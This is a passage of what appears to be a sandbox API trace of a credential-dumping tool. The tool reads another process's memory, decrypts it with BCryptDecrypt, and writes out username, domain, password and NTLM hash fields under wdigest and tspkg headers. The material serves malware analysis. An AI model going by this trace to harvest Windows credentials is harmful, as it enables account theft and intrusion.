lpWideCharStr="5f", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5f * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.108] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.108] GetLastError () returned 0x0 [0196.108] SetLastError (dwErrCode=0x0) [0196.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="d4", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d4 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.108] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.108] GetLastError () returned 0x0 [0196.108] SetLastError (dwErrCode=0x0) [0196.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="84", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="84 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.108] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.109] GetLastError () returned 0x0 [0196.109] SetLastError (dwErrCode=0x0) [0196.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="12", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.109] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.109] GetLastError () returned 0x0 [0196.109] SetLastError (dwErrCode=0x0) [0196.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="e8", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e8 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.109] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.109] GetLastError () returned 0x0 [0196.109] SetLastError (dwErrCode=0x0) [0196.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="39", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="39 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.110] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.110] GetLastError () returned 0x0 [0196.110] SetLastError (dwErrCode=0x0) [0196.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bc", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bc * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.110] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.110] GetLastError () returned 0x0 [0196.110] SetLastError (dwErrCode=0x0) [0196.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fe", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fe * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.110] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.110] GetLastError () returned 0x0 [0196.110] SetLastError (dwErrCode=0x0) [0196.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4d", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4d * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.111] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.111] GetLastError () returned 0x0 [0196.111] SetLastError (dwErrCode=0x0) [0196.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="42", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="42 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.111] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.111] GetLastError () returned 0x0 [0196.111] SetLastError (dwErrCode=0x0) [0196.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * NTLM : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO", cchWideChar=17, lpMultiByteStr=0x10e9b0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * NTLM : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONOLPmcxz\r\n\x09 * Domain : XDUWTFONO\r6mnH7CdKKrname : 5p5NrGJn0jS HAL\r\n\x09 [00000003] PrimaryXDUWTFONO\r\n\x09 * Password : ", lpUsedDefaultChar=0x0) returned 17 [0196.111] WriteFile (in: hFile=0x720, lpBuffer=0x10e9b0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x10e2f0, lpOverlapped=0x0 | out: lpBuffer=0x10e9b0*, lpNumberOfBytesWritten=0x10e2f0*=0x11, lpOverlapped=0x0) returned 1 [0196.111] GetLastError () returned 0x0 [0196.111] SetLastError (dwErrCode=0x0) [0196.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7f", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7f * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.112] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.112] GetLastError () returned 0x0 [0196.112] SetLastError (dwErrCode=0x0) [0196.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="00", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="00 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.112] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.112] GetLastError () returned 0x0 [0196.112] SetLastError (dwErrCode=0x0) [0196.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="14", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.112] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.112] GetLastError () returned 0x0 [0196.112] SetLastError (dwErrCode=0x0) [0196.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="da", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="da * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.113] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.113] GetLastError () returned 0x0 [0196.113] SetLastError (dwErrCode=0x0) [0196.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8f", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8f * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.113] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.113] GetLastError () returned 0x0 [0196.113] SetLastError (dwErrCode=0x0) [0196.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ee", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ee * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.113] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.113] GetLastError () returned 0x0 [0196.113] SetLastError (dwErrCode=0x0) [0196.114] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="51", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="51 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.114] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.114] GetLastError () returned 0x0 [0196.114] SetLastError (dwErrCode=0x0) [0196.114] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="21", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="21 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.114] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.114] GetLastError () returned 0x0 [0196.114] SetLastError (dwErrCode=0x0) [0196.114] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="58", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="58 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.114] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.114] GetLastError () returned 0x0 [0196.114] SetLastError (dwErrCode=0x0) [0196.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fe", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fe * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.115] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.115] GetLastError () returned 0x0 [0196.115] SetLastError (dwErrCode=0x0) [0196.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0d", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0d * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.115] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.115] GetLastError () returned 0x0 [0196.115] SetLastError (dwErrCode=0x0) [0196.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.115] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.116] GetLastError () returned 0x0 [0196.116] SetLastError (dwErrCode=0x0) [0196.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1e", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1e * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.116] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.116] GetLastError () returned 0x0 [0196.116] SetLastError (dwErrCode=0x0) [0196.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="41", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="41 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.116] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.116] GetLastError () returned 0x0 [0196.116] SetLastError (dwErrCode=0x0) [0196.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="a0", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a0 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.116] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.117] GetLastError () returned 0x0 [0196.117] SetLastError (dwErrCode=0x0) [0196.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ad", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ad * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 2 [0196.117] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0196.117] LocalFree (hMem=0x1692b0) returned 0x0 [0196.117] LocalFree (hMem=0x17db00) returned 0x0 [0196.117] LocalFree (hMem=0x181a40) returned 0x0 [0196.117] GetLastError () returned 0x0 [0196.117] SetLastError (dwErrCode=0x0) [0196.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nsv :\x09n :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nsv :\x09n :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.117] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.118] GetLastError () returned 0x0 [0196.118] SetLastError (dwErrCode=0x0) [0196.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09tspkg :\x09:\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=9, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09tspkg :\x09:\x09\x09", lpUsedDefaultChar=0x0) returned 9 [0196.118] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x9, lpOverlapped=0x0) returned 1 [0196.118] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcf94b00, lpBuffer=0x10f960, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f960*, lpNumberOfBytesRead=0x0) returned 1 [0196.118] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6000, lpBuffer=0x10f8b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f8b0*, lpNumberOfBytesRead=0x0) returned 1 [0196.118] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x160a40 [0196.118] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1cc110, lpBuffer=0x160a40, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x160a40*, lpNumberOfBytesRead=0x0) returned 1 [0196.118] LocalFree (hMem=0x160a40) returned 0x0 [0196.118] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1cc198, lpBuffer=0x10fa90, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa90*, lpNumberOfBytesRead=0x0) returned 1 [0196.118] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c1c60, lpBuffer=0x10fa40, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa40*, lpNumberOfBytesRead=0x0) returned 1 [0196.118] ConvertSidToStringSidW () returned 0x1 [0196.118] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bbc0 [0196.118] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e5ce0, lpBuffer=0x16bbc0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bbc0*, lpNumberOfBytesRead=0x0) returned 1 [0196.119] IsTextUnicode (in: lpv=0x16bbc0, iSize=18, lpiResult=0x10f960 | out: lpiResult=0x10f960) returned 1 [0196.119] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x18d310 [0196.119] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a5ab0, lpBuffer=0x18d310, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18d310*, lpNumberOfBytesRead=0x0) returned 1 [0196.119] IsTextUnicode (in: lpv=0x18d310, iSize=40, lpiResult=0x10f960 | out: lpiResult=0x10f960) returned 1 [0196.119] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bba0 [0196.119] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e5da0, lpBuffer=0x16bba0, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bba0*, lpNumberOfBytesRead=0x0) returned 1 [0196.119] BCryptDecrypt (in: hKey=0x18e6e0, pbInput=0x16bba0, cbInput=0x18, pPaddingInfo=0x0, pbIV=0x10f938, cbIV=0x8, pbOutput=0x16bba0, cbOutput=0x18, pcbResult=0x10f968, dwFlags=0x0 | out: hKey=0x18e6e0, pbIV=0x10f938, pbOutput=0x16bba0, pcbResult=0x10f968) returned 0x0 [0196.119] GetLastError () returned 0x0 [0196.119] SetLastError (dwErrCode=0x0) [0196.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : n ", cchWideChar=80, lpMultiByteStr=0x10e9d0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : 5p5NrGJn0jS HAL\r\n\x09 [00000003] PrimaryXDUWTFONO\r\n\x09 * Password : ", lpUsedDefaultChar=0x0) returned 80 [0196.119] WriteFile (in: hFile=0x720, lpBuffer=0x10e9d0*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x10e310, lpOverlapped=0x0 | out: lpBuffer=0x10e9d0*, lpNumberOfBytesWritten=0x10e310*=0x50, lpOverlapped=0x0) returned 1 [0196.119] IsTextUnicode (in: lpv=0x16bba0, iSize=18, lpiResult=0x10f960 | out: lpiResult=0x10f960) returned 1 [0196.119] GetLastError () returned 0x0 [0196.119] SetLastError (dwErrCode=0x0) [0196.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6mnH7CdKKrname : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : n ", cchWideChar=9, lpMultiByteStr=0x10e9d0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6mnH7CdKKrname : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : 5p5NrGJn0jS HAL\r\n\x09 [00000003] PrimaryXDUWTFONO\r\n\x09 * Password : ", lpUsedDefaultChar=0x0) returned 9 [0196.120] WriteFile (in: hFile=0x720, lpBuffer=0x10e9d0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x10e310, lpOverlapped=0x0 | out: lpBuffer=0x10e9d0*, lpNumberOfBytesWritten=0x10e310*=0x9, lpOverlapped=0x0) returned 1 [0196.120] LocalFree (hMem=0x18d310) returned 0x0 [0196.120] LocalFree (hMem=0x16bbc0) returned 0x0 [0196.120] LocalFree (hMem=0x16bba0) returned 0x0 [0196.120] LocalFree (hMem=0x169320) returned 0x0 [0196.120] GetLastError () returned 0x0 [0196.120] SetLastError (dwErrCode=0x0) [0196.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nspkg :\x09:\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nspkg :\x09:\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.120] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.120] GetLastError () returned 0x0 [0196.120] SetLastError (dwErrCode=0x0) [0196.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09wdigest :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=11, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09wdigest :\x09\x09", lpUsedDefaultChar=0x0) returned 11 [0196.120] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xb, lpOverlapped=0x0) returned 1 [0196.121] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x18e030 [0196.121] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd0212c0, lpBuffer=0x10fa38, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa38*, lpNumberOfBytesRead=0x0) returned 1 [0196.121] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x187300, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.121] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x187150, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.121] LocalFree (hMem=0x18e030) returned 0x0 [0196.121] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x169320 [0196.121] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x187150, lpBuffer=0x169320, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x169320*, lpNumberOfBytesRead=0x0) returned 1 [0196.121] ConvertSidToStringSidW () returned 0x1 [0196.121] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x18d310 [0196.121] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d4260, lpBuffer=0x18d310, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18d310*, lpNumberOfBytesRead=0x0) returned 1 [0196.121] IsTextUnicode (in: lpv=0x18d310, iSize=40, 